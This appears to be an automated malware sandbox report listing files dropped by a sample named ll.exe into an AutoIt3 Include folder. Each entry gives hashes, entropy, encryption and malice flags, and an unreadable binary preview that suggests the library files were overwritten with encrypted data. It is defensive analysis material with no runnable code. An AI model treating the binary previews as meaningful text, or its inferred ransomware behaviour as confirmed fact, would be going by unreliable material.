C:\Program Files (x86)\AutoIt3\Include\ExcelConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):20151
Entropy (8bit):7.989996357100325
Encrypted:false
SSDEEP:
MD5:5AF76981D913DC69D7581F96DD433AC7
SHA1:18D1056E5199E8A24185A67C4A97B74D08636090
SHA-256:0AAABDFBA1EE9D69F18D90088FEAD05E45F83F06D5B5291C96E35D80A6871F40
SHA-512:17F0F4714E7A46193F37531BA4305D590D7ACBBE63954FFCE83201EBA05C4DCE0170A1437B6D403ACC59A83FE2C9EB2BC74BBA710B335D2A65E8EA7478C9FE8E
Malicious:false
Preview:..,.qqM....q...U.~1\..e.r........i..$Q..6y<.lN....Mb.Fq.i..NhII....H. .4...t.......Kak...1.a=..e..>[.b.%.!. m.l+.&..cf4...l...^P...8W._#.:.FvkY..._R.......*...s..-k.l.0Md.....N.t.i.......x. ..2(..!)k..S.p.Q....r.CS.P6P....Y..`4.L...~_n...onk.[X....._.z.."..G..|!...H...Y.].VXlG....W6...W.~E....dX\...l.}....[..bSdn.N<2....N.d.f.?.....U..x1i3T}c(..wJ:'";...'.....ip.>.l3.T..}...{..E...p...Hh..y....64....w.j.6...V..).."!.r.....@....'.~.Zh-..........n}_.....|...,}...5.7..Y.....L.w.j.qs..:.......0..+..K.<...HM.6d....F..k.......}.Y.>....t.E.#.&u.x...9$..n%..0TfsR.J.'z..k|....O..wu7..#b?L#.....D...Xw8.f...DO...1z....[4.....w...v.t...c.T|.e..6v.T?....e........e..t..W..,.C.d1..P2....a.%......TU.G.H6C/.....b(.p...j.6.ay....,.s,..U....y...E.K`l... ..T......$<%.d..........I\..'.]...B]..............h|.6..I....%.S..O.<s.....j.d...d.a.q....t.+...|..G...Q-\...F.q...Z[......?...s...2.HJX.II.^...B..].u>......D..M...3.._. .p.."~.$k.....z.... ..

C:\Program Files (x86)\AutoIt3\Include\FTPEx.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):46136
Entropy (8bit):7.996378033821095
Encrypted:true
SSDEEP:
MD5:F551FE7844198D5A57FBD59285AF6865
SHA1:A620270899273C1D2363DFB05B9EB433E881B87F
SHA-256:9803A13A390C1C8C1D0715C6543B0404FB78B831B32C84BF3A2E09DC2BBCED3F
SHA-512:4507F283E7AF4481887F5C9E061CD289A1F6A26B787051FC83B2E5EA1A6EAAE7E4A415FAA513507D5EEA79C02455B51E06519B341C3CEFCE7623E3ECEC6DE0A7
Malicious:true
Preview:..}K.tG..8.y......;...<.r..#n.......I.K_vd.B.u73Ps...R..mv{..+..1t..'!.P>..Q....m...x@.W#..Y.&..M\.s*P/<...i.x.-...~:.v....Z)M..Fk.qNB..k....&.C.[..Q9gbqv..N.T./VS.Q..-O<=D.zk.......d....~....B...<Kr.y.y........K...........dk...p.3..'..&..>2..z....0a..w..W.y..;\....z...A"...^.i.FF%7............h....9D-...h.I.}.8:3.....;..$ad..3S.U.Z+...U.>.+?.qM..B..-.P..q.?..REDF`.]..E.o4}.e.....9.s#x..-_........Fs..i...Q.8.O{.v:.O+.."..=.........h ..LwU.,..P..hQJd...e}..]R3]v~.=)..x.,.4F.1......H..Y.<.x.....1..fM.AmX....y6mb?....8..X.(.r...og..n;Z..a...!..c...G...b.....G...`...n.;.&..Q.....$...E.....KT...Y.c.'..I..YMst.aVe.m..uF...(G...=.)......a.r..`9..q...T.UFj...q.7.....T..].....L.I..3...+.q@.e....s~`......fm.mgg.a.{I......r.6;..~..J0.!>..g.N.....\eN.~.&...u...Nm.L.aUhr?y.V..;v.M&....I..T.H04b5t.Y5=.+..i..4YN[o.?&../)f&.[W...@/...(.dvK;..P.9....v........1u}......CP........T..v..q..T..5...I..q.....v+jH....J..E...K.e...X...F=HHRM.;.R....!.k.]....

C:\Program Files (x86)\AutoIt3\Include\File.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44488
Entropy (8bit):7.99617650604219
Encrypted:true
SSDEEP:
MD5:FF23E3285372113891869589E1B55430
SHA1:1AE65C7E1C5B3C5F3E5287D6DF25AE817EBC3A39
SHA-256:E3407456661AA4A374D4E9862ADC45BA76849844F70360884C05FEB092A73B5E
SHA-512:0F023FC7E7A2CCA8649B829C4C3E50E855BF17A0C06E1CC37113C47C53899AFFCB549F3A776D7289718FE9D8B9D96AA9CB86D3E36945E0BE9EC75A1565156D4F
Malicious:true
Preview:.t..#.6...@L?.Yq..#.sF=.VA|v.<,..\.*xw{....l........G..#I.l+..l..t.T\y.Mr......m[.?r.Uh......yC.+.<..a>......Yp..Dv...=...:......A..v..?_....I.8...5.`.........6.o+t..q...,..:...M..''E%..V.$Y=...%.C.*.......t4..p..".|.q6..xa...J.....D.t..3#.UJ..\.?.R.n......az7...8 \...bL.)V.....11..A.z.'s.j.../.e........@.....O^f4KHU>@p". ..J.Q.......3,..H.6wnOr.+.2n.......},.Op.W...7......@..@U.......ov...d.....:...i....N..v'.X..1Q.'8...g.:bnq.2..~~.|.. ...R(Y~.....v9...~.U......2.qE...V.....xl.n.w....G.(..7D@.................f.yy...E/.&.R.qp......O..9O....Rz`.....f..+.B...=...X..I.yu....=..a..\-.rz t.!..5B......|9.P..?(R^..I}.k..e...V....wmbb...wC..[.ZPd.A.SZ.;2XM}..I2.DsL..Y.\.`.z@[..S%:.M.t.s.X.&..L..G....Ge.cM.9..?.....hb.;.4....{..#.A..A..G5_t3.8b.<?.}t...|3..v.t.Z..6.c..A.w.6..>i\..}...ZofzU..6l...O....5~.2....f.s...o.,$..n. .../..0.:.P.U.W%.U.F.t../..gN.L.~...(.....Z....D.L.'0...|....`...X;.r..5...J.4...~....(.#......kX.V.j&&...D....fj".uvC.a...

C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7215
Entropy (8bit):7.97105668183708
Encrypted:false
SSDEEP:
MD5:11AAE4B8D3C703428A95F18ECD7F29E7
SHA1:9A2B46BE1B9CAD06E1B34E03D26EAAC03C6434D9
SHA-256:97DD7EA20389798017CD4B77C85A67207AB5866EA17F2E958E8AF878D60FA485
SHA-512:15D02BAC8FB564F729AE3F3740EAFEF23B4273CF02FEA1A3D60D0C4166B61DAB3BF8F7475AE70BA053768737FB7D1BE7A6F77287F36027A6D9CFA01FDB1F690D
Malicious:false
Preview:`.Zk.z[...@....`./.0X...1.f..t.....z..h..Wta......m.<C......4kwG..V-\8?.G..E..:'.K.@.l.DpL.....enl{?..h./.5..bP....`......./.<.|*..uey.*...R.|a....St3XM.|_.&.....VF1...JF..E....Uz.......;....Y1.U..~ZTL.@qZ...r.Vz...3....8.~..o.0.......'.E.R.....p....Q.&.).k......D$.. .3....|i..i...G.B.4..sH..7p..kp...!.d'..9.=.l.6.:E...Ut.%../.. hgJ}rD.NrbQz.4Wf>.U.l....P.T)...*....p.~.#.z."..m....JA.-..~+..\.S.b1u..&Y......Gdl.f] ...v.!).]...$..*.nr.a.....E..2...G..2...<.Pf.,....2..@..-...ZZ......@..z.i...l._.....{OF.n..4.#l2].B!~....B.)|a.e..P..g.. ..2:,.J0Y.8.....0....=v..3...@..(..j.!V..q...8..%.X..E...92...c.NM.. F...e2.2D..S...ln..@S.b..Z..<.....q..&..x.^.v...&E.Gn.g...Z.E-..Jmw-].......h.8..KH..D"8.F.........2I%.q.l?...b.?.Y.BT2P.'d...L......o....54.r4..9f.k~.Z.a.=..[L7}...p.AY...y.....f..!N...Bl..B...K...D9.....2..+H..NJ.[.t.hgvI.F.$.n..a7.4.1..o........._' ....p?b./...q<..+.L..i...C.2.V$......iA-.M6.].ki.d7.~w....q..... OD..na.[....r<..>......o.=...

C:\Program Files (x86)\AutoIt3\Include\FontConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4140
Entropy (8bit):7.9532833154212055
Encrypted:false
SSDEEP:
MD5:BC3CDD31684DC2105F581FF3816FAEA5
SHA1:82EA1993882910242FB706D84994FCD193994C8A
SHA-256:73A26921B2E618774437A12DA80AD2B5DA24A4375DEF30504F5378BBAA16F691
SHA-512:06731E0E3CD6AE66EDCE5D49D7F70FCC61C6DDD5005177976E04A6CAC3124A6A69907E75A9556B64CC7948627EA9105E7B041F11672E5396F32ED91B84693E59
Malicious:false
Preview:..K.;K....EA....P;.....|...%...Sm.X.M-...Iy.y(..........w"JBnzZ2...^^.....Em..^./.....$..W........>.H84/O..m.I..1A.`yHK...H...eL..R%.!&R..&.l.Z...U.j.Zw..9..G5.v$../.Q.9.5...Q..a...6...,g..s..p..&...?.W.:.'l.ap1....(<?.!h.R.@K..GN./.1...y............".E..4J.Y.6j..s.IO..3Z...G...)hG ...6........).9.....dir..4L.....|#|.G..."r..;4hT.".r...!..@...D...]}F*s8...I.>..e ...i..{s....q.\....fF.=..<..Y..C...H.(!...L..........O..HlF.0.g.B...s.........B......r....<..X..{..?A..2.2Z.....j......D.H..k..)W.(...$......Z%m.........[.H^...6..*.$8.>}...|....n..3p..g..q.n.:......&..+.H....Eb.1..._.N....M&....P.$...(^.,.g..i...K..6v.w.+.Q..c..t....o..s.....X....9s..E..f..A.@...A:. J..Jw{\V?...9R..=p.Ob.)%.`...;......2>m..g......Cn.~+.\:o>.....la.F:'.....!.8..Q1B.a>...../%.bP...>tDA.QG..V......A.9.=vl./.ND.p...$.*..}!T>...f=.......x..q..gv...x..M......o...E-.Lj...P.M....d.b.......s...3oJLr./..OTjW......Q.......l!...S....z{........A.3..'.9..c(..o......

C:\Program Files (x86)\AutoIt3\Include\FrameConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2602
Entropy (8bit):7.914640467176862
Encrypted:false
SSDEEP:
MD5:D0FD5B154FBD8CEB38C6A0B352405600
SHA1:5C8622D416DF7AE9FFB53A6DAFC74507B90ADB4A
SHA-256:2CF638ED9C6C3BA1A0C70AC7CB0F99BDC6EB2A8FAEDF6C020FA4E9095AEF6A26
SHA-512:DBC613329F5E527D5D1A7B95B2811EDCCA25B8452B657AA0ABA6BF69F92CF34BAE89DB46ECD9128E79B53431CFEA2922E540FC4B54F09FEF63231299D124D6FC
Malicious:false
Preview:.8.!..M....5.$V..j..H..0T.....=..q.......>G.VJ<..M....+.-....C.t..Ksc...+...W+...p\..s.f..........>.o._...X[.dM...n. .x.>H.8`..e..t(.j.z55s.J.?Ax....L..~.M..>u{<#..4.{.....l~}.3....^......yT.*o.>......QbAK..l..r...-.=.'.....'qox.'..iwC_........P..o.x<.C=..|.wR......3.(..kc..90..h.Ic.<n..2.?.:..JN......Z...M .-..z..L.cl!...B.Q...|3..a.V.}....E.Y...o../.qV8&..3....'a.L.....V.(v:M?....'..wOW.s....r\7.5..Rcm..5..#r.q."k.f...r.T..OF.Eb..].Um.....]....}.O.n\..u..R...I...6..k0r8.....f..{.9.......-k...0.Cn..d.5.].ww....z..2"'.....VR5..k^>Z.O...~......_..*.M$BC.....p._..ok.,h..J>.0.....2..Cx....MJ...p....:.N....)..9..q...Z+...G~.y.n...JxN..Qi.[.l..d....,..`\i...oPf.B.eD.|Q)..9.n.m..p...6Y.....l<r..;....%{.!.r.1,`..qL.2..^r....y...;c.......HKS..7...@....:..T.......&... ....f....^S.x..JZ..T.}.j.m.`S....Y/.....:..q...{,=....l....2'F...ak.....%.*...(....-..a..1......5.>...*...hd..g..b.0.0..)V..O.-.J4._.l.......Z......9h.3.....&.4D.I..u

C:\Program Files (x86)\AutoIt3\Include\GDIPlus.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):305355
Entropy (8bit):7.999373425297156
Encrypted:true
SSDEEP:
MD5:E0FD1FCEDF7067AE8EB11B0C80008962
SHA1:698BFB4C8476C86022590789EC069C04A471222C
SHA-256:A136028900A3DF127D615E7908FE78A1BCCB8DA2531063BCC538FC05F8811A12
SHA-512:2E519CF800D855386C93465BFAD4DFDB20DACF2455EBCCF01B331C25291FAE21A30C214E7C671C40C991095B10DE08EAC7C4D7BAD739A2457D733EF6CC8E138F
Malicious:true
Preview:% ....Y(L.+..u....0.[.o.c.1..a.=HV.......Ke..E..ybb..4.'.Y!x.....Y#.Q..paIdW..-J..]i......MF..,...b..1#.y..VQ.1Y.I.......1...>%...A..)>?......+..9..$..s...i....>.Q.......s..Kl_../...|...`.`F.Hws.m:B+.,.2..4.:....u........48'.......8.i..\Q..H5..H.w.L;.|.B...o..dV..#..e..w..4..n...........d.}..4zc...Us{.H.M.........5.5>.#.k......c....v...<..o.e"..8.#^.P$.[!........<.2...Q.+.R. .[&..M..\.@......&XD.....'.g.....h.....M.._..6t....;_......*.......p..u......C....[<..A..a..yKc#m#.LO......Up..wc..c..#.sY.9.j.WiT..?3K.....`:\5n...&.r........#fj...h...~..g..+N..,........g....1...]}Sz.L..&K.....gz..$.%.N.Z.b..\bI.o.:....1^b...Ce G.zn.z..L@.R...i....iX7L.....YJz....A.V...._...wI.;.rO.#.....g..;.O.+W:..X.5P...e....Wgq4q.*-.....'......!.'.\._....e.9Aj.L..%H...r.|.:..5.cV.{.....h...%.....J}g.E..8....^8.$5Wm`l.HpP.o....N|.....:......\iviA.S,....qvz..6....&<.....^..%...<../.Tn...YN.k4.{`..x]q.E...H.........).8l..x..z..>...kV.Te..Q_...qJ.....

C:\Program Files (x86)\AutoIt3\Include\GDIPlusConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28567
Entropy (8bit):7.99413675061482
Encrypted:true
SSDEEP:
MD5:3CDE33BA90DBA4ECF734F3E8E80DCC60
SHA1:045A46AA2E6EC5AD86437BF671A8DA160530C586
SHA-256:BAE18C547AFA849040B8827F67256F76F23D89C1D0A3026D49372113B1FCB3F8
SHA-512:F823D2CC9ACB01A441FF6B573FEB37D6DD57B026A03FBD282F62422C97AAD19AA389D8CD2F03114D4BBD0ED07AA85E5FDC3BB77A14FD6469799FACC2C5603935
Malicious:true
Preview:}.^".._.......J......L.S.....M4...H.F2.|.!...O.X..~....rpp.....;.H...Y F.L.k......$".... .t...2....;..H....J..:.).N..(....9.......[.).;..A.}.o....P.G..q$I..O... ItfM.......r....S:...w.n...QY.......*....8..r..c`............l...*.JnZ@..[...Nk.AQ.;s%.......y..?...m..6.K..7h...&.jW.M................R.0...c.V......1..l..._....sd..2#o...g1Z.<".[..Z....._J.;>..pL...o.:...........b.Y.....u...{.....of ...e.\..|o...t.....abB.r.Zd......t.C.F..s.5..^..8..L..r.../M+..e.W.I{~.o5....?.R-3.'...YZ..L3.t.rG/.{.hSh....2N...jd`C......\.......g......3.pm..E0..^...<..u.O....c..&....S.g....gP..X.......K..*......(o6....7..;.....>9o..|...!. ..v...n.J..n.....N....>;d...l=....r.S......4..] .&8f.F.......f.q..b..89.ZG.{...S......<..........N.g3[i.:x4..G......BO.....p...."&....*7.....p........0./..%......jct%..+..EH..g.I..{R...Hk.UZ.J..*.hP.D.5v.oZ..&..o..EY{C.9...z...N.#.j..Y..........?...e.....a}...n_lLl.Q.Q.kq...7Rs.t..-...>..!J....,..>8..X....L...S.:..

C:\Program Files (x86)\AutoIt3\Include\GUIConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):1543
Entropy (8bit):7.876773266850266
Encrypted:false
SSDEEP:
MD5:3587BAE170D009597D2B57E575EB233F
SHA1:FB15F189DF1C2F0191FBE6A3D839939D595999E9
SHA-256:DB253364E3B1E72EA95F90DF932A577CB07C3DD4CCD1FD0B762EB5CD2A1FF744
SHA-512:3A5FF3AEFD4D4E9691304A973B46EE57D8F6D3D9B9313F72D2CC7DDC26AE7216F60F474E55ABA15F22655ACC633EC28F4A73FA09B82A63CCE7164F23C6B1793E
Malicious:false
Preview:.q..ID....CR.X...M.0.S...k..{'>.M7..5..T...Q.).....g..C.).o.^.u..."L..Z..@.hv..!....Lq....F.<Ft...\..Q..".,6"...a~h.....|FH:{.......6k..U.Ip..<MG=..t-../_.t..d*9...>#.v.......*u......%....P'.q..L.7....>35.mw...D:_*.f.j.w..._..R .j..t.7..7X.5q..7.......K...&. ...1.A.a.|....p...0m..%..\.........&..|....nLwA...+.$ika.A.=._*..........[E.HT.iP..X......n.ca..k..-;y.$....:Jh.......C."1..(<..2.j.w.:...gU....O..'.,...]v..m..l.a.S++.q...rI..X.4?....t;Yv.*...Hf....-..&..ss.~Q.j...wr.T..(.@.~].".'.(...DO.l.?,.[..;..W..a.&3...m.YS._6.f...b.}....~.X....;9.*6A...?.......a...?..z....SY..Yk;...AZ......_]`U.....\hO.3.......5..j...t.e...&.....(..n.....g1.7.1@.I..A.2.3^0/....W)L$.";.....Cn."9.*@.b?9j]..H.|..hl./.T6.WK...z./.u!...H....VP....HmM....,..w....=..V..!...;'yA[`.z.f...o.5...R..KinT.D.q.=....._.@.7.SUO-......|.........(..SY.Zb.eg......k1....QUj.....k]..D.A.S...q.9 ...tj]m!..gA...0}.)...#.1-B.b...n>..rw-x .39i..n...F..c....ua.;...'.T..

C:\Program Files (x86)\AutoIt3\Include\GUIConstantsEx.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4583
Entropy (8bit):7.953656223092083
Encrypted:false
SSDEEP:
MD5:ECB7E58AD3F65FF3FCB25F5A1A15C537
SHA1:9DADD98C8B0C6E0C91F56A918B1556E93C707F6D
SHA-256:D77724AA26D9CFCDFB99B0D049F76D8558E4FF2FAC8DDB525F7E5ED3ABC43F3E
SHA-512:E33045D3D180EFDFF9BC74F3A08FC449B066FECE12895E99FA7D8A4952EADBBA7F3D6867022915F5D7FD15B2687C36A2B3ECEA40444CE218ABDBC79B3B83523B
Malicious:false
Preview:N....6.O.wg>W/0.<9..w.w9..BL$..yc....2.o.S.m.u..@...V..,xt..+Q.?(.H.O...O.m..K....2|.8yi....t.5.. .9']..pe.........@.x2R../..xX.P..)..mR.L...i?.I.*.U"...z....,{ZzP..xQ.........F)o...D-.......[&<6.r&...0...r......<[.g.*...t........e...;.?..'{...W...;....V......Fkp.....k......T.o..U\..jL.vDi.`...#....C......}"..?.........)...p.O.UF.>...JUc._.\j1Fk...yj....?.{......#....t&.o..I.s.U..&..v;......A..2G..0+3a..*.7..t.;..x.......}....|..M...7I..w.....A.....4.?MN_;K.n.l...tK...#..N..f...3.r.xqt.u..P.8rty<..v..+hW...Ys.K......E...E...9.....W4. ....~6.`:d...(...E...!.....:[I...5P.^..M}.M...f/kN..3.C..D&........8......'Dk.W,pK......?.&..,t..`...........1k....J..!9W>..*V.8g.|..A........W..8./_.VW.z_.u.ev.n..$.._IR...,8..0......Bf..'.v.y0.....0..p....E.`&7"..<.M...fh..5Q$;.&4..Z...J.......l. .a`RK.2..3.W..N..o...`.#,.Fz4.j..#..E.{W......"...AZ.....4..A8..Q.}.\.b.}.....kh....8`.Wch[A#}...kHy...;aF.f..n;...r.z.FW..b...|.$.+Z..x.&[....6F.........!

C:\Program Files (x86)\AutoIt3\Include\GuiAVI.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11784
Entropy (8bit):7.983910994194246
Encrypted:false
SSDEEP:
MD5:8B67D3F95A01BB86F2FF63CAC2D1C8B7
SHA1:3F3030214B94A50E9E93DE5CFA8E6EECB684487F
SHA-256:5CB00192976FC1B2CBB5E927AAE0820D6CCDA8B610206EFAC906B93E32526282
SHA-512:B64A1B9E3EB3C5530CAFAADE50CA145BF864ACA0E6141DACE1770F1ABF6AEDFA47A75515A33DAB223A527251DD7DA683D5A61F1C2A93B9D6E4452E746F2F98A7
Malicious:false
Preview:.o.i...."N.z.pD.Q.Tm..8...I+....R....l...Qf..na$}.*zt>..9...'...........\...9+.......h...7Vnkj..k.R\....X1.-..e;Y.....=;.$r}[.....@.U.%....a...v.3..+.......kv%.c..?dTw....."#+,..d.....|.....t..O...D..3...NOk....Z...Gy.A..f.z..{..{t..J...!5..s........w_<4PM...:....J.D.F..-..@....|X.I.%.w.jO..S..nF.K...G......<....S;.,.".2..[..Q,-/..Q...R,...q|o.../.4.....?...8..<E....\J7.sm..y.......N..V[d.c1.8..T.Wt......") ..c...../{..?{.3g}..5Z.......Y.y...O.]7........f.%....p..c.xk...5......cJ.4. ..*V6...`.d.Q?X4W..d..z....!..a......`.$.)a7.I......lX..Z..u.F+...O.q3...K$D...8 ..\....3F.v3..8...{.*./.Ds.'....!O....e..../";*T...d..9zmu.$nH@0).....Td.a.<rbv;l.lV....#1.oU+.o....y.R...Y9d....l..).C A`.YF<...`.J.....C....o.....|....AO.. ..m\...!.d........?D,..&......V7...EM....-...b.;.......8.|.K.....%'.)'{!.6R. z..8..(...#xU.1......m.W.d.bM....3...I..I8 .S.X.....xyM./.....&.EO.X...*$}[[..<...cM.......2....."..b..G..._...d....:.....x8.z-...I-....Q. ..h..

C:\Program Files (x86)\AutoIt3\Include\GuiButton.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29027
Entropy (8bit):7.99283329949999
Encrypted:true
SSDEEP:
MD5:B63301C9A7787B12AD37C6C7298373E3
SHA1:1D601A9AAF61BCF000FDBD041F884BDF6BD20941
SHA-256:3BC7FD6E84D1D466A9578AE2272B637F162F22E9B3F62115928FF1B33FDE3FA4
SHA-512:E47FC96F505E5EA0186BBDFF3F44DFEFBC9586EB1B00627CE5F4574C0A977C4FD45511CFB191C857C6D03253264CAA8E48414CD4F43D67F94A6CB354E65065B7
Malicious:true
Preview:y.u....p".[...=-#.d._.O...e.l......q...~.a.^.....n........y....Y..nv.F.._......8:.....l7.NO0...A-.z.$!u$Z.......E...W_..<.}l..Wq[#T..SVm.8o...rm.hE.!S,...s...HU.=.O....y........'rn=...'.._!.....,?.?Y.F......aR..a7z.: .....^...1.?.. [..'iJ..m.V.l3...u...;..U....@a.....j...f../:..B..F..s..QtE...l....y{....5P<T.P;..m......M....F..HX....%ZE(..8...C.......z..T.9j.B...ORv lrH.n.I..yH..$....@~.k[.....U..K.iC...........ugU...Jzn..7.`..2qH....q4,.8Ou.k/..JJ...<._.....>.........M.q..6..{.../..0[@.....Mqa..O..".*.`.2...e*k.TA.0i;m..........W..c.%H......c.%a<..`..*C.E....wY...b....)..ffO.H....4J...mQl........f..;G..(Y.M~.p.0.l...7........i^...^...'.[.B...p~Y.#'.'.b...*.&4.a...G\u..%V....$....Sc....s~..N...B.A....#..#.q.r 7..)..q......p..~.6...~.2.... 0...G.Y..p$(.....iB...6.u...+~..:..`......X.......,...4d........qm.0c.._...Ae..+..2M....0.p...-..TL.s.]Y..&.....H.z..P..8@.,6....?.V.....k.5.q@......]..j......^..F......E.....~H0..7......2.06.#..e..i.

C:\Program Files (x86)\AutoIt3\Include\GuiComboBox.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42159
Entropy (8bit):7.995998631956607
Encrypted:true
SSDEEP:
MD5:FA5098AF52EF4428507495D0B24C6BB0
SHA1:DDAB3EA0598FFD810FE7FC4EE43ACF6573D5A00E
SHA-256:846655A7BCE505EF2F4F28587E09BEDCEC26608EBC67CDF1638199FA6E226CFB
SHA-512:3CC6EAE77842173CD6C3464083CED573193DE9EA02804F1E67D7EEEEC17B769CD439239E77F0E04662D597DB4CD452E29CC8A1C35C253447BAE6782EDD189794
Malicious:true
Preview:...XU.. .....#..n..[...y..'..NQ.a+..0..]..Z.Z..$....=..e.Y.n...C...t...`..Y.Y.3tO....(.....,..9...........z6.WtM.~x(H.4'{=.P...c>..r/...hG.v.F.?.......@o.< ...v.j.)...(.B.vI..$k$..":D..5..^.V._s.i~.I..p.~..R...E....Q..Z....:.,/W:|.r....B...B.h..Q..HN....n.+/.].~..l.*..........\.7.q...V....X.J....e5w.....TA..)...#J.Q[.cKn#~.J..!.n....h.#Y......<.Z9[.``...pN.z.U.,0|..Z...5].ES....r/..T..#.1Ij.....3\z.n-...e.6+.gG.#.&xt.\h.../e..h...........#u*D...9._....%.....^.s.+....r.P.+.p.ox..s*.......(i{.....[l.zo%5....@^0..>...J....U....,x.0.....h^.f..).e....#.....F}.2.!..y..T.(....j;..#...."3.."Q....59..\...F.....0...........Y...#d.\K..(.!N..~....E...n..Ks......3.T..............#...beIz.7.u..V....(.....g..`@....Fx......eF.x..K$[.......[q<.Q.-`...h..}i....;........ ...M3..". ...:B..S..d..]...!w.....w...4...y.\/A....(BdY.e.*.%V0...s....j....P N.G.....].yf3..i5.-.`....L.L}.&.....Ai.....u.c......$._f..n.5P.."k$..D.FM....}.9.."K......g._O:U.,.o~....9.

C:\Program Files (x86)\AutoIt3\Include\GuiComboBoxEx.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):49871
Entropy (8bit):7.996168953289962
Encrypted:true
SSDEEP:
MD5:67492674AF55A011E6C7088BEA525C59
SHA1:D95BCCB74E236EE187508A9A780EDF10517ACFC8
SHA-256:C9A11E76FB119BCA6577BC85F0F0E8C24F2D2DB581BE4E9DBFA0DCD118D73790
SHA-512:38D625309BF0EAA3DBE5E5F68070849B78D60A6366F3ACD9CD53463A6C304711CC2045A103EE74446B06B4179DF71031477CA56921619C6C884C981777B6DF4C
Malicious:true
Preview:i....V|..D....K(...N1..'.d.(...e.YzQ...ZA,8l^..,....|..D<.... :...Zj-.....2l.Iq.?..v...Q..+N.8...v............l...;r.D..H.}........&.[.-..N.6..r7......h.n?..`^v6.jy.Y.....w.......ph..(.cC{N|.asSU. .3...|..t.c.h>O......m.m....x......o.Y8...3..9&..`.0.........l.,...K-#...;...Y.[~.#..b......7...hqi.O....f.["...>l....[.f...3(MA...C......'.F.%=3..."X..p`........-d&J...|.....!X.6Y..L.3|0...)..M.....RMp.l.H......."...?..%.j..-.....$.d.......].6...it..p......Q.U.XU=P.I...8..7.r]...O./...h...\.u...*q..df,..`..-.Ic..mn...M..K.a..j...i.. .s!io..)...Ev.:.....<...6..UH....W6........V....S...b..e..}C..t3..[.....3.S.&l.....uAR......}..5`_..;.....'..V..*..-*z.+...z}..|.P...n...D........>. ....i<....=.....(w./..Dx<.Bx{()...?...Z.KAF.i...,~wh4}XU.@.Z?.51... ...7m.Y.Oq:..|.N..<....2Z,UB{..4...~G..}2s..%.BW....."16L.?..\......'.:s2.....x%.{.V........v.M.w..`.......UO.077...r-?M.:.:=Y@... .B./.*#X.<n.[....<..........p...A.W...4.c..w.lm..)(3..I.f..].Bj

C:\Program Files (x86)\AutoIt3\Include\GuiDateTimePicker.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16077
Entropy (8bit):7.98746055250023
Encrypted:false
SSDEEP:
MD5:E58FF9EF1F8CA4C0560D801A5E240195
SHA1:61D524AC5AC4A7631C4C5F89EC7EDA61CA67E84C
SHA-256:D36A64F77051CDD5C9853666E43B550E799D1C4617C28B7F9FE01DD461CEC041
SHA-512:9F8D57C8C3B80A6F828B0E925A95BD3471270024B46EC7C63A39F79FF129AC8AE1FD53874C3CC8923280C060D1E3ACBA8EC9D80DDF9DB71B9142298FDB5B09AB
Malicious:false
Preview:.zW.U._....s..8"....|...e.u...7..&.1.r.?.D...l.............V.Z..nW...P...%.7..1[. .........8.eIA....j....%$.!.:.z.....4./O..L.n.............0..].....d..?.........g.h...$./.......<w...-5....&..Ko.E._~.>j.R....y..'=..bW..vD.I..(.u.(..:m.b....C. .....x..#.y..<...m'[85P...uz..(s...]g=..g;]'...nh.0."4..8.V.A.f..(y...$...[h^m......$......~oFVQ...J2.I..=.........w3.o.L)....x..}jr&.....;.O...D..7........=.:..r.x.g..K.a.b...e5.JS.]V,.:..(..Xd..a...`/...Y..kX..f..k...K..4.R..1.y....6r..j.jl....q..d.l...Y..{x=../...E.Ze7.d.....]`5h..u..at.g...H.....Q..i...{.;!=.....^u.........m..c.y.qI^......u..&%..E....J....l..... . .>.._..;....{.....K.&.7.I2...z....h\.n....b.~..t#1Q.....Z...V...L#-.2..."_w.1;..E(..<].Y...w....i.]..'...I.!.j.".u...dpp/*.%.......<b)z..b5.^..1...[...J.(iO..*......8...UC. .....j.>.6......#...=R".\..i..V.@h|6..$p..o...R-;...O..o..8/.I?.#.|..J.....Ci..zW0.A.!9.`.<..H-..T.].).u;.!0Y..{ .$`...._.._8>.[@.t.#v.|..G.{z.$.S...Yv.Y......

C:\Program Files (x86)\AutoIt3\Include\GuiEdit.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):54569
Entropy (8bit):7.996710764040897
Encrypted:true
SSDEEP:
MD5:FC4834502128F4C8DBAE9A208360BFBF
SHA1:CB276EB25F67B39F9072EB38D895D7F256CAA393
SHA-256:6CF1CEE28AEBCB34AAE7E1AA1C305E142ED02A9535C2FE9D8137ADCDF867C739
SHA-512:C319B8B906D4FA69F10B52E779EAA3DE7D77743288639111037ECE79A2D439B4017718D891B88BC5F4B26CAC934F8009837F8601E43CFF9C6BA19C458DFCBAD1
Malicious:true
